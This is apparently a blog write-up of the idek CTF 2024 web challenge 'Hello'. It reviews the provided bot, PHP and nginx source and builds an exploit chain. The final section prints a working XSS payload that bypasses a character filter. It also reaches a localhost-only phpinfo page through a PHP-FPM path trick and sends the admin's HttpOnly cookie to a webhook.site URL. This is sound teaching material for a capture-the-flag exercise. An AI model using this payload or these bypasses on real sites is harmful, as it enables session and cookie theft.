Idek CTF 2024 - Hello [Web]
After a long hiatus from updating articles, this time an update will cover the writeup for the Web Idek CTF 2024 challenge called โHelloโ. This article is being written because it is considered particularly interesting.
Challenge Description:
Just to warm you up for the next Fight :"D
Note: the admin bot is not on the same machine as the challenge itself and the
.chal.idek.team:1337 URL should be used for the admin bot URL
Author: Abdelhameed Ghazy
Analysis:
Since this challenge is a Whitebox challenge with the provided source code, a source code review must be conducted first. The structure of the provided source code files is as follows:
โโโ bot.js
โโโ docker-compose.yml
โโโ hello
โย ย โโโ Dockerfile
โย ย โโโ init.sh
โย ย โโโ nginx.conf
โย ย โโโ src
โย ย โโโ index.php
โย ย โโโ info.php
3 directories, 8 files
Based on the file structure, there is a bot.js file, which likely indicates a typical client-side challenge.
First Analysis on the bot.js:
...SNIP...
const visit = async () => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
const ctx = await browser.createBrowserContext();
const page = await ctx.newPage();
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
...SNIP...
According to the bot.js file, the FLAG is located in the botโs cookies, which are simulated as Admin user. Given that the FLAG is stored in a cookie, it can be inferred that this is a Cross-site Scripting (XSS) challenge. However, it is important to note that the cookie has the โhttponlyโ attribute set to โtrueโ. This means there is protection in place, preventing the stealing of cookies using JavaScriptโs document.cookie.
Based on an article from HackCommander, it is possible to bypass HttpOnly and exfiltrate cookies via the PHP Info page.
Second Analysis on the index.php:
<?php
function Enhanced_Trim($inp) {
$trimmed = array("\r", "\n", "\t", "/", " ");
return str_replace($trimmed, "", $inp);
}
if(isset($_GET['name']))
{
$name=substr($_GET['name'],0,23);
echo "Hello, ".Enhanced_Trim($_GET['name']);
}
?>
In the index.php file, there is a Cross-site Scripting (XSS) vulnerability in the โnameโ parameter, which renders user input. However, there is a filter in the Enhanced_Trim function that prevents the use of characters such as โ\rโ, โ\nโ, โ\tโ, โ/โ, and โ โ (spaces) for constructing the XSS payload.
Third Analysis on the nginx.conf:
...SNIP...
location = /info.php {
allow 127.0.0.1;
deny all;
}
location ~ \.php$ {
root /usr/share/nginx/html;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
...SNIP...
In the Nginx configuration file, there is a vulnerability related to unsafe path restrictions to the /info.php endpoint. Without further research, it might seem that the info.php file is not the way to obtain the FLAG in the Adminโs cookies. However, as outlined in the HackCommander cookies can be exfiltrated via the PHP Info page, making this page highly valuable. It is also noted that the website is using PHP-FPM..
How to Solve?
From the analysis conducted, the steps to solve the challenge can be outlined as follows:
- Bypass the Cross-site Scripting (XSS) filter on the /index.php endpoint using the โnameโ parameter (http://target/index.php?name=payload)
- Bypass the unsafe path restriction to gain access to the info.php (http://target/info.php) page
- Exfiltrate Admin cookies via the PHP Info page
Since the flow is now clear, exploitation can begin immediately.
Bypass Filter XSS:
- Bypass spaces (โ โ) using the null byte %0, referencing ctftime
- Bypass slashes (โ/โ) using String.fromCharCode.
Bypass Path Restriction Nginx PHP-FPM:
- Access to /info.php, which should only be allowed from 127.0.0.1, can be bypassed through path manipulation (http://target/info.php/index.php) sumber
Final Payload:
Using the discovered bypass techniques, an XSS payload is constructed to steal cookies from the PHP Info page using the following regex:
// Convert to decimal
fetch("http://idek-hello.chal.idek.team:1337/info.php/index.php")
.then((response) => response.text())
.then((data) => {
const regex = /idek\{.*?\}/g;
const matches = data.match(regex);
if (matches) {
fetch(
"https://webhook.site/e9f955cb-6075-43a9-a58a-521db006edcd" +
"?encodedMatches=" +
btoa(matches),
{ method: "GET" }
);
}
});
// Final Payload
http://idek-hello.chal.idek.team:1337/?name=<svg%0Conload=javascript:eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,58,47,47,105,100,101,107,45,104,101,108,108,111,46,99,104,97,108,46,105,100,101,107,46,116,101,97,109,58,49,51,51,55,47,105,110,102,111,46,112,104,112,47,105,110,100,101,120,46,112,104,112,39,41,46,116,104,101,110,40,114,101,115,112,111,110,115,101,32,61,62,32,114,101,115,112,111,110,115,101,46,116,101,120,116,40,41,41,46,116,104,101,110,40,100,97,116,97,32,61,62,32,123,99,111,110,115,116,32,114,101,103,101,120,32,61,32,47,105,100,101,107,92,123,46,42,63,92,125,47,103,59,99,111,110,115,116,32,109,97,116,99,104,101,115,32,61,32,100,97,116,97,46,109,97,116,99,104,40,114,101,103,101,120,41,59,105,102,32,40,109,97,116,99,104,101,115,41,32,123,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,101,57,102,57,53,53,99,98,45,54,48,55,53,45,52,51,97,57,45,97,53,56,97,45,53,50,49,100,98,48,48,54,101,100,99,100,39,32,43,32,39,63,101,110,99,111,100,101,100,77,97,116,99,104,101,115,61,39,32,43,32,98,116,111,97,40,109,97,116,99,104,101,115,41,44,32,123,32,109,101,116,104,111,100,58,32,39,71,69,84,39,32,125,41,59,125,125,41,59))>
Simply send the final payload to the Admin Bot, and the Bot will trigger the payload to exfiltrate the FLAG via the PHP Info page, allowing the flag to be retrieved through the webhook.
Flag: idek{Ghazy_N3gm_Elbalad}
Thank you for reading this article, i hope it was helpful :-D
Follow me on: Linkedin, Medium, Github, Youtube, Instagram